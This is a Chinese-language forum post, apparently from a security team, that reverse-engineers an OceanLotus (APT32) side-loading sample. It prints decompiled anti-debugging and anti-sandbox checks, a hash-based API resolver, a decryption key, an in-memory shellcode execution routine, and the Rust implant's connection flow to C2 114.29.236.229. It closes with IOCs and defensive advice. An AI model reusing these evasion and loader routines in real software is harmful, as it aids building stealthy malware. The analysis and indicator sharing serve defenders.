首页
社区
课程
招聘
[原创]【病毒分析】深度剖析粉丝投稿:海莲花APT超级间谍组织最新免杀样本(从白加黑落地到定制化RUST远控)
发表于: 5天前 804

[原创]【病毒分析】深度剖析粉丝投稿:海莲花APT超级间谍组织最新免杀样本(从白加黑落地到定制化RUST远控)

5天前
804

一、背景概述与海莲花组织简介

在深入剖析本次的恶意样本之前,我们有必要先了解本次攻击事件的幕后黑手:海莲花(Ocean Lotus),在安全业界也被称为 APT32 或 Canvas Assassin。

自 2012 年首次被安全社区披露以来,海莲花便展现出了极高的组织度与技术演进能力。与那些以直接勒索钱财为目的的黑产团伙不同,海莲花是一个具有明确政治和经济情报收集意图的国家级高级持续性威胁组织。

根据历年威胁情报统计的海莲花组织活跃区域与核心攻击目标分布概览

1.核心攻击目标:综合业界(如安天 CERT 等顶尖安全机构)近期的持续追踪与我们的研判分析,该组织的攻击目标具有极强的针对性。他们长期聚焦于东亚地区,尤其是针对我国的政府部门、国防军工、外交机构、核心智库单位以及海事科研企业。近期,更是频频利用“十五五规划”等国家宏观政策热点作为诱饵,向核心岗位的关键人员精准投递鱼叉式钓鱼邮件。

2.核心作案诉求与盈利模式:海莲花的行动并非为了短期的资金变现(如加密勒索),而是以长期潜伏、刺探与窃密为主。他们致力于获取目标机构的内部机密文件、战略规划草案、敏感技术参数以及关键人员的通信记录。这些高价值的数字资产在国家层面的博弈中具有不可估量的战略意义。

海莲花组织常利用社会工程学结合时事热点构造的高诱导性钓鱼邮件示例(图片来源:安天CERT)

3.标志性攻击手法:在技术战术层面,该组织是利用社会工程学的大师,同时也是“白加黑”(DLL 侧加载/搜索顺序劫持)技术的资深玩家。他们极度擅长将恶意代码隐匿于带有合法数字签名的商业软件背后,并配合多重内存解密、反调试手段,以此穿透企业内部的重重防线。

二、 事件溯源与样本捕获始末

本次进入 Solar 应急响应团队视野的高级免杀样本,来源于一位长期与我们保持密切技术交流的粉丝师傅的授权投稿。

在近期的企业安全应急响应处置中,这位师傅捕获了一组行为极其隐蔽的文件。初步排查发现,该样本在主流的安全沙箱与终端防病毒软件(AV/EDR)环境下几乎处于隐蔽状态。基于双方深厚的技术互信,该师傅将样本脱敏后提交给 Solar 应急响应团队进行深度逆向研判,希望能借此完善社区的威胁检测规则。

与粉丝师傅关于捕获高隐蔽性免杀样本的沟通记录,双方确认了授权分析与成果共享意向

三、 样本静态特征与执行链纵览

解压粉丝提交的压缩包后,我们提取到了三个核心组件。从文件结构来看,这是海莲花组织极为经典的一套“白加黑”攻击组件。

文件名称文件属性与角色定位大小
CloudAdapter.exe白文件 :原名为 Bandizip.exe,带有合法的 Bandisoft 签名。被用作宿主进程。538.13 KB
ark.x64.dll黑文件:伪装的依赖库,负责执行反调试逻辑与解密核心载荷。169.50 KB
bdzsfx.x64.sfx数据载荷:经过加密的二进制数据,解密后为真实的定制化后门。566 KB

解压后的文件示例

执行逻辑流推演:

样本整体执行流程图,展示了从合法程序启动到最终在内存中执行远程控制 Shellcode 的全过程

四、 核心组件深度逆向解析

4.1 白文件滥用:CloudAdapter.exe 逆向分析

攻击者将知名的压缩软件组件 Bandizip.exe 重命名为 CloudAdapter.exe。通过查看其文件属性,可以确认其数字签名完整有效,未遭到任何破坏或篡改。这使得它在执行初期能够轻易骗过多数基于信誉库的杀软拦截。

CloudAdapter.exe 的详细信息,显示其原始文件名为 Bandizip.exe

文件自带 Bandisoft International Inc. 的合法数字签名,且签名状态正常

通过逆向分析可知,由于 Windows 操作系统的 DLL 搜索顺序机制(优先搜索当前执行目录),当 CloudAdapter.exe 启动时,会自动加载同目录下的恶意文件 ark.x64.dll

白程序在加载 DLL 后,会主动调用其导出函数 CreateArk,并传入了一个特定的十六进制参数 0x20250210

逆向分析显示,白程序调用 CreateArk 时硬编码传入了参数 0x20250210

4.2 恶意载荷核心:ark.x64.dll 内部机制剖析

该恶意 DLL 包含了两个主要的导出函数:CreateArkCompressorCreateArk

4.2.1 触发条件校验

CreateArkCompressor 函数的功能非常单一,仅用于校验传入的常量是否匹配预设的魔数。

_BOOL8 __fastcall CreateArkCompressor(int n539296272){
 // 仅当传入参数等于 0x20250210 时,才允许后续逻辑执行
 return n539296272 == 0x20250210;
}

4.2.2 核心控制流 CreateArk

当参数校验通过后,程序进入 CreateArk 主函数。其内部包含了一套严密的载荷释放逻辑,具体流程如下:

CreateArk 导出函数内部详细执行流转图,涵盖了环境检测到内存加载的全过程

对应的伪代码结构如下,可以清晰看到其调用链路:

__int64 __fastcall CreateArk(int n539296272){
 __int64 result = 0;
 // 1. 严格校验魔数
 if ( n539296272 == 0x20250210 ) {
   strcpy(user32, "user32");
   ModuleHandleA = (char *)GetModuleHandleA(user32);
   // 2. 动态解析 API 以隐藏导入表
   if ( (ModuleHandleA || (ModuleHandleA = (char *)LoadLibraryA(user32)) != 0)
     && (user32_ShowWindow = resolve_api_by_pe_export_hash(ModuleHandleA, 16354146)) != 0 ) {
     
     // 3. 隐藏宿主控制台窗口,实现静默运行
     ConsoleWindow = GetConsoleWindow();
     ((void (__fastcall *)(HWND, _QWORD))user32_ShowWindow)(ConsoleWindow, 0);
     
     // 4. 执行严密的反调试与反分析检测
     anti_debug_and_anti_analysis();
     
     // 5. 解密并执行核心 Shellcode
     decrypt_and_execute_shellcode();
     
     // 6. 将当前线程永久挂起,维持内存中的 Shellcode 持续运行
     Sleep(0xFFFFFFFF);
     return 1;
   }
 }
 return result;
}

4.2.3 基于哈希的 API 动态解析

为了逃避静态分析工具对其导入表的审查,样本使用了一种自定义的哈希算法来动态寻找所需的 Windows API。该算法结合了乘法与截断操作:

// 动态解析 API 名字的哈希算法原型:乘法哈希 + 截断
hash = 53;
for each char c in export_name:
   hash = (c - 1424952673 * hash) & 0xFFFFFF

通过遍历内存中已加载模块的导出表,比对计算出的哈希值,样本能够在不留下静态字符串记录的情况下,隐蔽地获取函数执行地址,原函数的实现如下:

char *__fastcall resolve_api_by_pe_export_hash(char *ModuleHandleA, int n16354146)
{
 unsigned int *v3; // rsi
 __int64 v4; // r10
 __int64 v6; // r8
 char *v7; // rbx
 int n53; // eax
 char *v9; // rcx
 int i; // edx
 int v11; // eax

 if ( !ModuleHandleA )
   return 0;
 v3 = (unsigned int *)&ModuleHandleA[*(unsigned int *)&ModuleHandleA[*((int *)ModuleHandleA + 15) + 136]];
 v4 = v3[6];
 if ( !(_DWORD)v4 )
   return 0;
 v6 = 0;
 v7 = &ModuleHandleA[v3[8]];
 while ( 1 )
 {
   n53 = 53;
   v9 = &ModuleHandleA[*(unsigned int *)&v7[4 * v6]];
   for ( i = *v9; *v9; n53 = v11 & 0xFFFFFF )
   {
     ++v9;
     v11 = i - 1424952673 * n53;
     i = *v9;
   }
   if ( n16354146 == n53 )
     break;
   if ( ++v6 == v4 )
     return 0;
 }
 return &ModuleHandleA[*(unsigned int *)&ModuleHandleA[4 * *(unsigned __int16 *)&ModuleHandleA[2 * v6 + v3[9]] + v3[7]]];
}

4.2.4 严苛的反调试与反沙箱环境检测

海莲花组织在该样本中部署了多维度的环境探测机制。一旦任何一项检测命中,程序便会直接退出,极大增加了安全人员动态跟踪的难度。

1.PEB.BeingDebugged 检测:攻击者通过直接读取当前进程环境块(PEB)中的 BeingDebugged 标志位,来判断进程是否正被调试器(如 x64dbg、OllyDbg)附加。

  v0 = NtCurrentPeb();
 if ( v0->BeingDebugged )
   goto LABEL_15; // 跳转至退出逻辑

2.PEB.NtGlobalFlag 检测:检查堆调试标志,若程序由调试器启动,该标志位会被赋予特定的值(0x70)。

标志
FLG_HEAP_ENABLE_TAIL_CHECK0x10
FLG_HEAP_ENABLE_FREE_CHECK0x20
FLG_HEAP_VALIDATE_PARAMETERS0x40
三者同时置位0x70
  if ( (v0->NtGlobalFlag & 0x70) == 0x70 )
   goto LABEL_15;

3.NtQueryInformationProcess 调试端口查询:调用未公开的底层 API,查询进程的 ProcessDebugPort(对应的类别值为 7)。若返回值非零,则确认为被调试状态。

 ModuleHandleA = GetModuleHandleA("ntdll.dll");
 NtQueryInformationProcess = GetProcAddress(ModuleHandleA, "NtQueryInformationProcess");
 CurrentProcess = GetCurrentProcess();
 if ( !((unsigned int (__fastcall *)(HANDLE, __int64, _QWORD *, __int64, _QWORD))NtQueryInformationProcess)(
         CurrentProcess,
         7,
         v14,
         4,
         0) )
 {
   if ( LODWORD(v14[0]) )
     goto LABEL_15;
 }

4.硬件断点检测:获取当前线程上下文(GetThreadContext),检查调试寄存器(Dr0Dr3)。如果这些寄存器被设置了值,意味着安全人员正在关键代码处下达硬件断点。

 if ( check_hardware_breakpoints() )
   goto LABEL_15;
   
   

bool check_hardware_breakpoints()
{
 HANDLE CurrentThread; // rax
 BOOL ThreadContext; // edx
 bool result; // al
 _CONTEXT Context; // [rsp+20h] [rbp-4D8h] BYREF

 memset(&Context, 0, sizeof(Context));
 Context.ContextFlags = 1048592;
 CurrentThread = GetCurrentThread();
 ThreadContext = GetThreadContext(CurrentThread, &Context);
 result = 0;
 if ( ThreadContext )
   return (Context.Dr3 | Context.Dr2 | Context.Dr1 | Context.Dr0) != 0;
 return result;
}

5.CPU 性能检测:恶意代码执行一个百万次的无用循环,并计算执行耗时。在多数自动化沙箱或虚拟机环境中,受限于 CPU 虚拟化或监控钩子(Hook)的开销,此操作耗时将显著超过物理机。若时间超过 100 毫秒,则判定为虚拟分析环境。

  // 执行时间检测
  nanosecond_timestamp = get_nanosecond_timestamp();
  for ( i = 0; i != 1000000; ++i )
  {
    v6 = i + v13;
    v13 = v6;
  }
  if ( get_nanosecond_timestamp() - nanosecond_timestamp > 100999999 )
    goto LABEL_15;
    
 __int64 get_nanosecond_timestamp()
{
  __int64 v1; // [rsp+20h] [rbp-18h] BYREF
  int v2; // [rsp+28h] [rbp-10h]

  get_clock_time(0, &v1);
  return v2 + 1000000000 * v1;
}

6.检测系统是否连接内核调试器

// 检测系统是否连接内核调试器
  hModule = GetModuleHandleA("ntdll.dll");
  NtQuerySystemInformation = GetProcAddress(hModule, "NtQuerySystemInformation");
  if ( !((unsigned int (__fastcall *)(__int64, _QWORD *, __int64, _QWORD))NtQuerySystemInformation)(35, v14, 2, 0)
    && (LOBYTE(v14[0]) || !BYTE1(v14[0])) )
  {
    goto LABEL_15;
  }

7.时间流速检测

调用 NtDelayExecution 休眠1秒,然后验证实际流逝时间,如果时间流逝过短的话就结束进程。

// 休眠时间
TickCount64 = GetTickCount64();
  hModule_1 = GetModuleHandleA("ntdll.dll");
  NtDelayExecution = GetProcAddress(hModule_1, "NtDelayExecution");
  v14[0] = -10000000;
  ((void (__fastcall *)(_QWORD, _QWORD *))NtDelayExecution)(0, v14);
  n0x383 = GetTickCount64() - TickCount64;
  if ( n0x383 <= 0x383 )
LABEL_15:
    ExitProcess(0);

4.2.5 载荷解密与内存加载执行

在确认环境安全后,程序会定位到 %localappdata%\AnyViz\bdzsfx.x64.sfx 文件。该文件是被高度混淆的加密数据,样本内置了复杂的密钥,并通过 CLEFIA-256 算法对其进行解密。

// 提取出的 256 位解密密钥片段
0x5D, 0x00, 0x53, 0xEF, 0x2D, 0xBE, 0x9A, 0x6C,
0xD7, 0x6F, 0x12, 0xE9, 0xA2, 0xDD, 0x4A, 0xCA,
0xFA, 0x76, 0xD2, 0x34, 0x30, 0x5C, 0x72, 0xCD,
0x0F, 0x0D, 0xC5, 0xD8, 0x00, 0x4B, 0xB4, 0x71,

载荷解密函数的核心逻辑片段,内存中初始化解密密钥的执行过程

解密得到真正的 Shellcode 后,样本再次利用前文提到的哈希算法获取 kernel32.dll 中的 API,执行该shellcode

// 1. 获取动态内存分配 API
VirtualAlloc   = resolve_kernel32_api_by_hash("kernel32", 0x36A4586);
VirtualProtect = resolve_kernel32_api_by_hash("kernel32", 0x79239928);

// 2. 分配一段可读可写(PAGE_READWRITE)的新内存
mem = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 3. 将解密后的 Shellcode 拷贝至该内存区域
memcpy(mem, shellcode, shellcode_size);

// 4. 更改页面属性为可执行(PAGE_EXECUTE_READ)
VirtualProtect(mem, shellcode_size, PAGE_EXECUTE_READ, &old_protect);

// 5. 执行 Shellcode 
((void(*)())mem)();

4.3 RUST 编写的定制化 C2 Shellcode

接下来执行的是一段具有高度定制化特性的 Shellcode。首先进行重定位修复和导入表解析。

// PE loader: processes relocations (types 1,2,3,10) and import descriptors. Resolves DLLs and functions by hash
__int64 (__fastcall *__fastcall pe_loader_resolve_relocs_and_imports(
       _QWORD *a1,
       __int64 a2,
       unsigned int n0x1AA0,
       __int64 a4,
       unsigned int n0x8CD80))()
{
 unsigned int *v6; // rdx
 __int16 n2; // r9
 __int64 v8; // rcx
 __int64 v9; // rax
 __int64 v10; // r9
 _QWORD *v11; // rax
 __int64 v12; // rbx
 __int64 v13; // rbp
 __int64 v14; // r8
 __int64 (__fastcall *kernel32_and_resolve_apis)(_QWORD *, __int64, __int64, __int64); // rax
 __int64 v16; // rdx
 __int64 (__fastcall *rust_main_entry_1)(); // r10

 if ( !a4 )
   return 0;
 if ( n0x1AA0 == -1 )
   goto LABEL_15;
 v6 = (unsigned int *)(a4 + n0x1AA0);
 n2 = *((_WORD *)v6 + 4);
 v8 = *v6;
 if ( n2 )
 {
   if ( (_DWORD)v8 != -1 )
   {
     v9 = v6[1];
     while ( 1 )
     {
LABEL_11:
       v11 = (_QWORD *)(a4 + v9);
       if ( n2 == 3 || n2 == 10 )
       {
         v10 = a4 + v8;
         *v11 += a4;
         v8 = *(unsigned int *)(a4 + v8);
         if ( (_DWORD)v8 == -1 )
           goto LABEL_14;
       }
       else
       {
         if ( n2 == 1 )
         {
           *v11 += WORD1(a4);
         }
         else
         {
           if ( n2 != 2 )
             return 0;
           *v11 += (unsigned __int16)a4;
         }
         v10 = a4 + v8;
         v8 = *(unsigned int *)(a4 + v8);
         if ( (_DWORD)v8 == -1 )
           goto LABEL_14;
       }
       v9 = *(unsigned int *)(v10 + 4);
       n2 = *(_WORD *)(v10 + 8);
     }
   }
   goto LABEL_14;
 }
 if ( !(_DWORD)v8 )
 {
   v9 = v6[1];
   rust_main_entry_1 = rust_main_entry;
   if ( (_DWORD)v9 )
     goto LABEL_11;
   return rust_main_entry_1;
 }
 if ( (_DWORD)v8 != -1 )
   return 0;
LABEL_14:
 *(_QWORD *)v6 = 0;
 *((_WORD *)v6 + 4) = 0;
LABEL_15:
 if ( n0x8CD80 != -1 )
 {
   v12 = a4 + n0x8CD80;
   if ( *(_DWORD *)(v12 + 2) != -1 )
   {
     v13 = 0;
     do
     {
       while ( !*(_WORD *)v12 )
       {
         kernel32_and_resolve_apis = (__int64 (__fastcall *)(_QWORD *, __int64, __int64, __int64))find_kernel32_and_resolve_apis((__int64)a1);
         v13 = kernel32_and_resolve_apis(a1, a4, v16, v12 + 6);
         v12 = a4 + *(unsigned int *)(v12 + 2);
         if ( *(_DWORD *)(v12 + 2) == -1 )
           goto LABEL_24;
       }
       if ( *(_WORD *)v12 != 1 )
         break;
       v14 = *(unsigned __int16 *)(v12 + 10);
       a1 = (_QWORD *)(a4 + *(unsigned int *)(v12 + 6));
       *a1 = (_WORD)v14
           ? resolve_export_by_hash_thunk((__int64)a1, a4, 0, v13, v14)
           : resolve_export_by_hash_thunk((__int64)a1, a4, 1, v13, *(_QWORD *)(v12 + 12));
       v12 = a4 + *(unsigned int *)(v12 + 2);
     }
     while ( *(_DWORD *)(v12 + 2) != -1 );
   }
 }
LABEL_24:
 init_global_state();
 return rust_main_entry;
}

当依赖加载完毕后,程序将步入真实的入口点 rust_main_entry,该函数的执行流程如下。

rust_main_entry()
   └─ init_config_and_obfuscated_strings()  
        │  ├─ TEA变种解密17轮×18块配置数据
        │  │    常量: 0xCBD32C76, 每块34字节
        │  ├─ 设置KCP参数: MTU=1000, interval=100ms
        │  │    snd_wnd=16, rcv_wnd=32, nodelay=20
        │  ├─ 存储会话密钥 → qword_1FC40
        │  │
        │  └─ setup_async_runtime()        
        │       ├─ async_runtime_main()      
        │       │    创建smol异步运行时、线程池
        │       │
        │       └─ async_executor_loop()    
        │            └─ implant_main_entry()  
        │                 │  构造C++字符串(从配置读取参数)
        │                 │
        │                 └─ implant_init_and_connect()
        │                      ├─ WSAStartup(0x0202)
        │                      ├─ socket(AF_INET=2, SOCK_DGRAM=2, 0)
        │                      │    → 创建UDP套接字
        │                      ├─ setsockopt(SOL_SOCKET, SO_RCVBUF, 0x8000000)
        │                      │    → 128MB接收缓冲区
        │                      ├─ ioctlsocket(FIONBIO, 1)
        │                      │    → 设为非阻塞模式
        │                      │
        │                      ├─ sockaddr_in.sin_family = AF_INET (2)
        │                      ├─ sockaddr_in.sin_addr = inet_addr(*[byte_40])
        │                      │    byte_40 → 0x173A0 (重定位后) → "114.29.236.229"
        │                      ├─ sockaddr_in.sin_port = htons(*[unk_1430])
        │                      │    unk_1430 → 端口号
        │                      │
        │                      ├─ connect() + select() 循环等待连接
        │                      │
        │                      ├─ kcp_set_conv_id(0)     初始化KCP会话
        │                      ├─ kcp_set_cmd_ack(0)     设置ACK命令
        │                      ├─ kcp_cmd_wask()         窗口探测
        │                      │
        │                      └─ async_executor_loop()  
        │                           进入C2主循环:
        │                           ├─ KCP协议收发
        │                           ├─ bincode命令解析
        │                           └─ implant_main_loop()
        │                                命令分发处理
        │
        └─ 返回 0x1B864534B4 (标记初始化完成)

逆向分析证实,此核心载荷是由 Rust 语言 编写的,这在一定程度上增加了反汇编与人工分析的阻力

该木马的初始化与外联流程极其复杂,充分体现了 APT 武器的工程化水准:

1.二次解密:利用 TEA 算法变种,对内部包含的 18 块配置数据进行解密。

2.异步框架:初始化 smol 异步运行时与线程池,用于高效处理多并发任务。

3.高隐蔽通信:初始化 UDP Socket,并配置 KCP 协议 参数。相比传统的 TCP/HTTP,基于 UDP 的 KCP 协议在复杂的网络环境中能提供更快的传输效率,同时在流量特征上极具迷惑性,容易绕过传统的 HTTP/TCP 行为基线检测。

在其网络初始化函数中,我们精准定位到了其远控服务器(C2)的地址解析过程。

seg000:000000000008BB1E                 mov     eax, 2
seg000:000000000008BB23                 lea     rbx, [rsp+288h+var_238]
seg000:000000000008BB28                 lea     r13, [rsp+288h+var_250]
seg000:000000000008BB2D                 mov     qword ptr [rsp+288h+var_248+2], 0
seg000:000000000008BB36                 mov     word ptr [rsp+288h+var_248], ax
seg000:000000000008BB3B                 mov     rax, qword ptr cs:dword_40
seg000:000000000008BB42                 mov     qword ptr [rsp+288h+var_248+8], 0
seg000:000000000008BB4B                 mov     rcx, [rax]
seg000:000000000008BB4E                 call    cs:ptr_inet_addr
seg000:000000000008BB54                 mov     dword ptr [rsp+288h+var_248+4], eax
seg000:000000000008BB58                 mov     rax, qword ptr cs:unk_1430
seg000:000000000008BB5F                 movzx   ecx, word ptr [rax]
seg000:000000000008BB62                 call    cs:ptr_htons

通过动态调试,我们成功获取到了真实 C2 的节点 IP:114.29.236.229

动态调试时,寄存器 RCX 中明文呈现出解密后的 C2 服务器 IP 地址

紧接着,提取到了目标通信端口 80(0x50)。随后,恶意程序便进入主循环,利用 bincode 序列化格式与 C2 服务端持续交互,随时准备执行诸如命令下发、文件窃取、横向移动等指令。

提取网络配置阶段,寄存器显示目标端口号为 80 (0x50)

五、 威胁情报与 IOC 提取

在我们的分析过程中,同步印证了简报中的情报数据。结合微步在线等情报社区的交叉验证,该 IP 地址被明确标记为海莲花团伙的远控节点。

公开威胁情报证实,提取出的核心 C2 节点属于海莲花组织的恶意基础设施

为便于各企业安全团队在内部设备(如防火墙、NDR、EDR 等)中进行排查,现整理核心妥协指标(IOC)如下:

网络层 IOC (C2 / IP)

  • IP 地址: 114.29.236.229 (TCP/UDP 端口 80,协议涉及隐蔽的 KCP 交互)

主机层 IOC (文件 Hash - SHA256)

关联组件SHA256 哈希值
CloudAdapter.exe (被滥用的白文件 Loader,原名称为bandzip.exe)58c8e9c3a29d9305e0bb09977850b61638a8f4d0fa23c57b2934ca4f6c7cb963
ark.x64.dll (恶意依赖注入库)189b32578ae4e77c60f10a80a97e8b7b5d1c9825f2ceb5ea71e878e52d331916
bdzsfx.x64.sfx(被加密的shellcode)c52a2edaef2176968577e6b53f7152df18f5b1c93151f7c2cf53b858203f9215

六、 安全加固建议

面对海莲花组织这种高度定制化、免杀手段极其老练的 APT 攻击,依赖单一特征码的防病毒体系往往难以发挥有效作用。基于本次深度逆向分析的底层逻辑,Solar 应急响应团队向企业防守方提出以下多维度的加固与排查建议:

1.强化终端行为监控(EDR)规则链: 重点关注“合法签名程序重命名后加载同级目录 DLL”的旁加载场景。特别是对于内存中敏感 API 的调用监控,如发现非系统级软件频繁调用 VirtualAlloc 配合 VirtualProtect 修改内存执行权限,且紧接着发生执行流跳转,应触发高级别的安全告警。

2.多维度的流量基线异常审计: 海莲花开始采用 Rust 结合 KCP 协议构建 C2 通道,传统的 HTTP 态势感知可能产生盲区。建议在 NDR/流量分析设备上,针对异常的 UDP 长连接会话、高频度的非标准业务 UDP 访问(尤其是指向外部非常规 IP 的 UDP 80 端口)进行深度特征捕获与阻断。

3.内部白文件防滥用梳理: 企业内网应建立更为严格的应用白名单机制。全面检索是否存在未授权运行的 Bandizip 核心组件,特别是当这些带有合法签名的可执行文件脱离了标准的安装目录,出现在 %APPDATA%%TEMP% 或用户本地临时目录时,需立即开展人工排查。

4.应急响应与隔离取证: 若在内网监测到上述 IOC 或行为特征,切勿急于断电或重启(以免丢失内存中运行的 Shellcode 和临时解密密钥)。应优先从网络层面对主机进行微隔离,切断其向外连接 114.29.236.229 的通道,并第一时间对主机进行内存 Dump 取证分析,以评估数据外泄范围与横向移动风险。



传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 2575
活跃值: (577)
能力值: ( LV6,RANK:85 )
在线值:
发帖
回帖
粉丝
2
文章排版有问题
4天前
0
游客
登录 | 注册 方可回帖
返回